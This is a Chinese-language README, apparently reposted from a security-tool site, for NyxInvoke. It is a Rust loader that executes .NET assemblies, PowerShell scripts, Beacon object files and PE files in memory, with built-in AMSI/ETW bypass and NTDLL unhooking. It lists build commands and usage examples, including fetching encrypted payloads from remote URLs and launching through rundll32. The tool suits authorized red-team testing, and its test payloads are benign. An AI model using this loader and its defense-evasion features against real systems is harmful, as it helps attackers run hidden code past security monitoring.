NyxInvoke

NyxInvoke 是一个基于 Rust 的多功能工具，旨在执行 .NET 程序集、PowerShell 命令/脚本、Beacon 对象文件（BOF）和 PE 文件，并内置 Ntdll 取消挂钩（Unhooking）、无补丁 AMSI 和 ETW 绕过功能。它可以编译为独立可执行文件或 DLL。

功能特性

• 执行 .NET 程序集
• 运行 PowerShell 命令或脚本
• 加载并执行 Beacon 对象文件（BOF）
• 加载并执行 PE 文件（EXE）
• 内置无补丁 AMSI（反恶意软件扫描接口）绕过
• 内置无补丁 ETW（Windows 事件跟踪）绕过
• 内置 NTDLL 取消挂钩，且不触发 "PspCreateProcessNotifyRoutine" 回调
• 支持通过 AES 解密加密的有效载荷
• 灵活的输入选项：本地文件、URL 或编译内置数据
• 双构建支持：可编译为可执行文件或 DLL

构建

NyxInvoke 可以构建为可执行文件或 DLL。使用以下命令：

可执行文件

cargo +nightly build --release --target=x86_64-pc-windows-msvc --features exe --bin NyxInvoke

DLL

cargo +nightly build --release --target=x86_64-pc-windows-msvc --features dll --lib

要包含编译内置的 CLR、BOF 或 PE 数据，请添加相应的 features：

cargo +nightly build --release --target=x86_64-pc-windows-msvc --features=exe,compiled_clr,compiled_bof,compiled_pe --bin NyxInvoke

或

cargo +nightly build --release --target=x86_64-pc-windows-msvc --features=dll,compiled_clr,compiled_bof,compiled_pe --lib

使用方法

可执行文件模式

该可执行文件支持三种主要操作模式：

1. CLR 模式（.NET 程序集执行）
2. PowerShell 模式
3. BOF 模式（Beacon 对象文件执行）
4. PE 模式（PE 文件执行）

通用语法

NyxInvoke.exe <mode> [OPTIONS]

其中 <mode> 为以下之一：clr、ps、bof 或 pe。

DLL 模式

当编译为 DLL 时，可以使用 rundll32 执行 NyxInvoke。语法如下：

rundll32.exe NyxInvoke.dll,NyxInvoke <mode> [OPTIONS]

各模式选项

1. CLR 模式：

执行公共语言运行时（CLR）程序集

用法：NyxInvoke.exe clr [OPTIONS]

选项：
  -a, --args <ARGS>...            传递给程序集的参数
  -b, --base <URL_OR_PATH>        资源的基础 URL 或路径
  -k, --key <KEY_FILE>            加密密钥文件的路径
  -i, --iv <IV_FILE>              初始化向量（IV）文件的路径
  -f, --assembly <ASSEMBLY_FILE>  要执行的加密程序集文件的路径或 URL
  -u, --unencrypted               程序集是否未加密（默认为加密）
  -h, --help                      打印帮助（使用 '--help' 查看更多信息）

示例：NyxInvoke.exe clr --assembly payload.enc --key key.bin --iv iv.bin --args "arg1 arg2"

2. BOF 模式：

执行 Beacon 对象文件（BOF）

用法：NyxInvoke.exe bof [OPTIONS]

选项：
  -a, --args <ARGS>...      传递给 BOF 的参数
  -b, --base <URL_OR_PATH>  资源的基础 URL 或路径
  -k, --key <KEY_FILE>      加密密钥文件的路径
  -i, --iv <IV_FILE>        初始化向量（IV）文件的路径
  -f, --bof <BOF_FILE>      要执行的加密 BOF 文件的路径或 URL
  -u, --unencrypted         BOF 是否未加密（默认为加密）
  -h, --help                打印帮助（使用 '--help' 查看更多信息）

示例：NyxInvoke.exe bof --bof payload.enc --key key.bin --iv iv.bin --args "arg1 arg2"

3. PE 模式：

执行可移植可执行文件（PE）

用法：NyxInvoke.exe pe [OPTIONS]

选项：
  -a, --args <ARGS>...      传递给 PE 的参数
  -b, --base <URL_OR_PATH>  资源的基础 URL 或路径
  -k, --key <KEY_FILE>      加密密钥文件的路径
  -i, --iv <IV_FILE>        初始化向量（IV）文件的路径
  -f, --pe <PE_FILE>        要执行的加密 PE 文件的路径或 URL
  -u, --unencrypted         PE 是否未加密（默认为加密）
  -h, --help                打印帮助（使用 '--help' 查看更多信息）

示例：NyxInvoke.exe pe --pe payload.enc --key key.bin --iv iv.bin --args "arg1 arg2"

4. PowerShell 模式：

执行 PowerShell 命令或脚本

用法：NyxInvoke.exe ps [OPTIONS]

选项：
  -c, --command <PS_COMMAND>  要执行的 PowerShell 命令
  -s, --script <PS_SCRIPT>    要执行的 PowerShell 脚本的路径或 URL
  -h, --help                  打印帮助（使用 '--help' 查看更多信息）

示例：
NyxInvoke.exe ps --command "Get-Process"
NyxInvoke.exe ps --script script.ps1

示例

可执行文件模式

1. CLR 模式（远程执行）：

   root@kitploit:~

   NyxInvoke.exe clr --base https://example.com/resources --key clr_aes.key --iv clr_aes.iv --assembly clr_data.enc --args arg1 arg2
   

2. PowerShell 模式（脚本执行）：

   root@kitploit:~

   NyxInvoke.exe ps --script C:\path\to\script.ps1
   

3. BOF 模式（本地执行）：

   root@kitploit:~

   NyxInvoke.exe bof --key C:\path\to\bof_aes.key --iv C:\path\to\bof_aes.iv --bof C:\path\to\bof_data.enc --args "str=argument1" "int=42"
   

4. PE 模式（编译执行）：

   root@kitploit:~

   NyxInvoke.exe pe --args arg1
   

DLL 模式

1. CLR 模式（远程执行）：

   root@kitploit:~

   rundll32.exe NyxInvoke.dll,NyxInvoke clr --base https://example.com/resources --key clr_aes.key --iv clr_aes.iv --assembly clr_data.enc --args arg1 arg2
   

2. PowerShell 模式（直接命令执行）：

   root@kitploit:~

   rundll32.exe NyxInvoke.dll,NyxInvoke ps --command "Get-Process | Select-Object Name, ID"
   

3. BOF 模式（编译执行）：

   root@kitploit:~

   rundll32.exe NyxInvoke.dll,NyxInvoke bof --args "str=argument1" "int=42"
   

4. PE 模式（本地未加密执行）：

   root@kitploit:~

   rundll32.exe NyxInvoke.dll,NyxInvoke pe -u --pe C:\path\to\pe.exe --args arg1 arg2
   

测试资源

在 resources 目录中，您可以找到几个用于测试 NyxInvoke 功能的文件：

1. 加密的 CLR 程序集（Seatbelt）：

   • 文件：clr_data.enc
   • 描述：Seatbelt 工具的加密版本，这是一个用于收集系统信息的 C# 项目。
   • 使用示例：
     root@kitploit:~

     NyxInvoke.exe clr --key resources/clr_aes.key --iv resources/clr_aes.iv --assembly resources/clr_data.enc --args AntiVirus
     

2. 加密的 BOF（目录列表）：

   • 文件：bof_data.enc
   • 描述：一个加密的 Beacon 对象文件，用于列出指定文件的用户权限，支持通配符。
   • 使用示例：
     root@kitploit:~

     NyxInvoke.exe bof --key resources/bof_aes.key --iv resources/bof_aes.iv --bof resources/bof_data.enc --args "wstr=C:\Windows\system32\cmd.exe"
     

3. 加密的 PE（消息框）：

   • 文件：pe_data.enc
   • 描述：一个加密的 PE 文件，用于弹出消息框。
   • 使用示例：
     root@kitploit:~

     NyxInvoke.exe pe
     

4. PowerShell（消息框）：

   • 文件：ps.ps1
   • 描述：一个用于弹出消息框的 PowerShell 脚本。
   • 使用示例：
     root@kitploit:~

     NyxInvoke.exe ps -s http://example.com/ps.ps1
     

截图

• DLL 编译版 CLR 执行

• EXE 远程 BOF 执行

• DLL 编译版 EXE 执行

• DLL PowerShell 脚本执行

法律声明

本工具仅用于教育和授权测试目的。在任何环境中使用前，请确保您拥有适当的权限。

致谢

• @yamakadi 的 clroxide 项目
• @hakaioffsec 的 coffee 项目